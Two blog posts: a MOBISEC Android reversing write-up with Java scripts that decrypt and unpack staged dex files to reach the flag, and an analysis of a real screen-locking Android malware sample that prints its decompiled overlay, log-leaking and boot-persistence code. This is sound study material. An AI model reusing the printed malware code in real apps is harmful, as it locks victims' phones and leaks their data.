DEV Community: R Srikesh

Mobisec Reversing - loadme [Writeup]

R Srikesh — Mon, 05 Jun 2023 12:10:40 +0000

in loadme.apk

1) test.dex is downloaded from https://challs.reyammer.io/loadme/stage1.apk

2) Dynamically loading class com.mobisec.stage1.LoadImage and method load

On unloading test.dex and Opening LoadImage.smali

1) An image logo.png is read and saved as a dex file named logo.dex (image can be found in initial apk)

2) Dynamically Loading com.mobisec.stage2.Check class and calling method check

On unloading logo.dex and Opening Check.smali we get the flag

Flag: MOBISEC{dynamic_code_loading_can_make_everything_tricky_eh?}

Scripts used

for loadme.apk

import java.io.BufferedInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.UnsupportedEncodingException;
import java.net.HttpURLConnection;
import java.net.URL;
import java.security.InvalidAlgorithmParameterException;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.util.Base64;

import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;

public class s{
    static byte[] initVector = {-34, -83, -66, -17, -34, -83, -66, -17, -34, -83, -66, -17, -34, -83, -66, -17};

    public static void main(String[] args) throws InvalidKeyException, NoSuchAlgorithmException, NoSuchPaddingException, InvalidAlgorithmParameterException, IllegalBlockSizeException, BadPaddingException, UnsupportedEncodingException {

        System.out.println(gu());
        String path = dc(gu());  //download test.dex
        da(path);
        System.out.println(gc());
        System.out.println(gm());

    }

    private static String gu() throws InvalidKeyException, NoSuchAlgorithmException, NoSuchPaddingException, InvalidAlgorithmParameterException, IllegalBlockSizeException, BadPaddingException, UnsupportedEncodingException {
        String url = ds("MAi9CEe4K9a+JzgsNqdYYh13dk7SQQ/yo5BN5HF39nYtgnOBmO4EV9Y2sQDthTG9");
        return url;
    }

    private static String gm() throws InvalidKeyException, NoSuchAlgorithmException, NoSuchPaddingException, InvalidAlgorithmParameterException, IllegalBlockSizeException, BadPaddingException, UnsupportedEncodingException {
        return ds("6RSjLOfRkvb/qXa34Y7cOQ==");
    }

    private static void da(String path) {
        byte[] xorKey = "com.mobisec.dexclassloader".getBytes();
        File file = new File(path);
        int size = (int) file.length();
        byte[] bytes = new byte[size];
        byte[] decbytes = new byte[size];
        try {
            BufferedInputStream buf = new BufferedInputStream(new FileInputStream(file));
            buf.read(bytes, 0, bytes.length);
            buf.close();
            for (int i = 0; i < size; i++) {
                decbytes[i] = (byte) (bytes[i] ^ xorKey[i % xorKey.length]);
            }
            File outFile = new File(path);
            FileOutputStream out = new FileOutputStream(outFile, false);
            out.write(decbytes);
            out.flush();
            out.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static String dc(String url) {
        try {
            URL downloaded_url = new URL(url);
            HttpURLConnection urlConnection = (HttpURLConnection) downloaded_url.openConnection();
            urlConnection.connect();
            File file = new File(gf());
            FileOutputStream fileOutput = new FileOutputStream(file);
            InputStream inputStream = urlConnection.getInputStream();
            byte[] buffer = new byte[1024];
            while (true) {
                int bufferLength = inputStream.read(buffer);
                if (bufferLength <= 0) {
                    fileOutput.close();
                    return file.getAbsolutePath();
                }
                fileOutput.write(buffer, 0, bufferLength);
            }
        } catch (Exception e) {
            return null;
        }
    }

    public static String ds(String enc) throws NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException, InvalidAlgorithmParameterException, IllegalBlockSizeException, BadPaddingException, UnsupportedEncodingException{
        String key =  "mobiseccomkey!!!";
        IvParameterSpec iv = new IvParameterSpec(initVector);
        SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
        cipher.init(2, skeySpec, iv);
        byte[] original = cipher.doFinal(Base64.getDecoder().decode(enc.getBytes()));
        return new String(original);

    }

    public static String gf() throws InvalidKeyException, NoSuchAlgorithmException, NoSuchPaddingException, InvalidAlgorithmParameterException, IllegalBlockSizeException, BadPaddingException, UnsupportedEncodingException {
        return ds("QLrdlqkhOkxIe5FEfpCLWw==");
    }

    public static String gc() throws InvalidKeyException, NoSuchAlgorithmException, NoSuchPaddingException, InvalidAlgorithmParameterException, IllegalBlockSizeException, BadPaddingException, UnsupportedEncodingException {
        return ds("ca9O9YbCZ/+vIYUvxPQUHA4SgyL/m3cwlvVZ4ArkBFQ=");
        // return ds("6RSjLOfRkvb/qXa34Y7cOQ==");
    }

}

test.dex

import java.io.BufferedInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.util.Base64;
import java.util.regex.Pattern;

import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;

public class ss{
    private static byte[] initVector = {-34, -83, -66, -17, -34, -83, -66, -17, -34, -83, -66, -17, -34, -83, -66, -17};

    public static void main(String[] args){
        System.out.println(getAssetsName());
        System.out.println(getCodeName());

        //load();

        System.out.println(generateClass());
        System.out.println(generateMethod());

    }

    private static String generateClass() {
        return decryptString("4hJIFOEdvGy81kngg5W2mh4ZMYOQVmqX+FqCg8UmFmc=");
    }

    private static String generateMethod() {
        return decryptString("zkKQzoRGUwBJurGdAYVuMw==");
    }

    private static String getAssetsName() {
        return decryptString("VYsdn556h+cox7bnQV4UsA==");
    }

    private static String getCodeName() {
        return decryptString("SXkAHK1O8Ssd6aCiqtpiAg==");
    }

    private static String decryptString(String enc) {
        try {
            String[] parts = "com.mobisec.stage1".split(Pattern.quote("."));
            String key = "!!!" + parts[0] + parts[1] + "key";
            IvParameterSpec iv = new IvParameterSpec(initVector);
            SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
            Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
            cipher.init(2, skeySpec, iv);
            byte[] original = cipher.doFinal(Base64.getDecoder().decode(enc.getBytes()));
            return new String(original);
        } catch (Exception ex) {
            ex.printStackTrace();
            return null;
        }
    }

    public static boolean load() {
        byte[] xorKey = "weneedtogodeeper".getBytes();
        try {
            InputStream in = new FileInputStream(new File("logo.png"));

            File outFile = new File(getCodeName());
            OutputStream out = new FileOutputStream(outFile);
            byte[] buffer = new byte[1024];
            while (true) {
                int read = in.read(buffer);
                if (read != -1) {
                    out.write(buffer, 0, read);
                } else {
                    in.close();
                    out.close();
                    decryptApk(outFile.getAbsolutePath(), xorKey);
                    // return loadClass(ctx, outFile.getAbsolutePath(), flag);
                }
            }
        } catch (Exception e) {
            return false;
        }
    }

    private static void decryptApk(String path, byte[] xorKey) {
        File file = new File(path);
        int size = (int) file.length();
        byte[] bytes = new byte[size];
        byte[] decbytes = new byte[size];
        try {
            BufferedInputStream buf = new BufferedInputStream(new FileInputStream(file));
            buf.read(bytes, 0, bytes.length);
            buf.close();
            for (int i = 0; i < size; i++) {
                decbytes[i] = (byte) (bytes[i] ^ xorKey[i % xorKey.length]);
            }
            File outFile = new File(path);
            FileOutputStream out = new FileOutputStream(outFile, false);
            out.write(decbytes);
            out.flush();
            out.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Malware - Free Followers

R Srikesh — Mon, 05 Jun 2023 12:05:24 +0000

I found this malware sample from malwareBazaar.

SHA-256 Hash: 5251a356421340a45c8dc6d431ef8a8cbca4078a0305a87f4fbd552e9fc0793e

When we open the application we are greeted with a window that looks like

Note: We cant close this window

Lets dive into APK Analysis with inspecting Android Manifest.xml

There are 2 suspicious permissions to keep in mind

android.permission.SYSTEM_ALERT_WINDOW

This permission allows an app to create windows
android.permission.WAKE_LOCK

allows your app to keep the device awake, even when the device is in sleep mode

Lets dive into Main Activity

Two important things to notice is

ADRTLogCatReader.onContext(this, "com.aide.ui");
startService(new Intent(this, Class.forName("com.XPhantom.id.MyService")));

If we look into ADRTLogCatReader, we could see a suspicious code

public void run() {
        try {
            BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec("logcat -v threadtime").getInputStream()), 20);
            while (true) {
                String readLine = bufferedReader.readLine();
                if (readLine == null) {
                    return;
                }
                ADRTSender.sendLogcatLines(new String[]{readLine});
            }
        } catch (IOException e) {
        }
    }

We could a malicious command getting executed during Runtime. The command logcat -v threadtime can give details like date, invocation time, priority, tag, PID, and TID of the thread issuing the message.

Now another suspicious code is this line ADRTSender.sendLogcatLines(new String[]{readLine}); where the details from our logcat is passed as argument.

If we look into sendLogcatLines()

public static void sendLogcatLines(String[] strArr) {
        Intent intent = new Intent();
        intent.setPackage(debuggerPackageName);
        intent.setAction("com.adrt.LOGCAT_ENTRIES");
        intent.putExtra("lines", strArr);
        context.sendBroadcast(intent);
    }

We could see that our logs is sent to an app whose package name was defined in MainActivity (ie com.aide.ui) using intents.

Now lets look for the reason why window is there (and why not closable).

Since no other code other than invoking the service was called, lets look into the service implementation and yes we get the reason.

public void onCreate() {
        ADRTLogCatReader.onContext(this, "com.aide.ui");
        this.windowManager = (WindowManager) getSystemService("window");
        this.myView = (ViewGroup) ((LayoutInflater) getSystemService("layout_inflater")).inflate(C0000R.layout.main, (ViewGroup) null);
        this.chatHead = new ImageView(this);
        this.chatHead.setImageResource(C0000R.drawable.ic_launcher);
        this.f0e1 = (EditText) this.myView.findViewById(C0000R.C0001id.mainEditText1);
        ((Button) this.myView.findViewById(C0000R.C0001id.mainButton1)).setOnClickListener(new View.OnClickListener(this) { // from class: com.XPhantom.id.MyService.100000000

            /* renamed from: this$0 */
            private final MyService thiss;

            {
                this.thiss = this;
            }

            @Override // android.view.View.OnClickListener
            public void onClick(View view) {
                if (this.thiss.f0e1.getText().toString().equals("Abdullah@")) {
                    this.thiss.windowManager.removeView(this.thiss.myView);
                    try {
                        this.thiss.context.startService(new Intent(this.thiss.context, Class.forName("com.XPhantom.id.MyService")));
                        return;
                    } catch (ClassNotFoundException e) {
                        throw new NoClassDefFoundError(e.getMessage());
                    }
                }
                this.thiss.f0e1.setText("");
            }
        });
        WindowManager.LayoutParams layoutParams = new WindowManager.LayoutParams(-2, -2, 2002, 1, -3);
        layoutParams.gravity = 17;
        layoutParams.x = 0;
        layoutParams.y = 0;
        new View(this).setBackgroundColor(872349696);
        this.windowManager.addView(this.myView, layoutParams);
    }

We could understand that this window is programmed not to close for any input provided in the Editbox.

Another important thing to note is that this window open even if we didnt open the app and it opens when we turn on our phone after power-off and the reason for this is a BroadcastReceiver that calls the service for the intent android.intent.action.BOOT_COMPLETED .

Ending Note

This was a fun malware to look into and I would recommend those who are getting started in Android Reversing / Malware Analysis to started with this sample.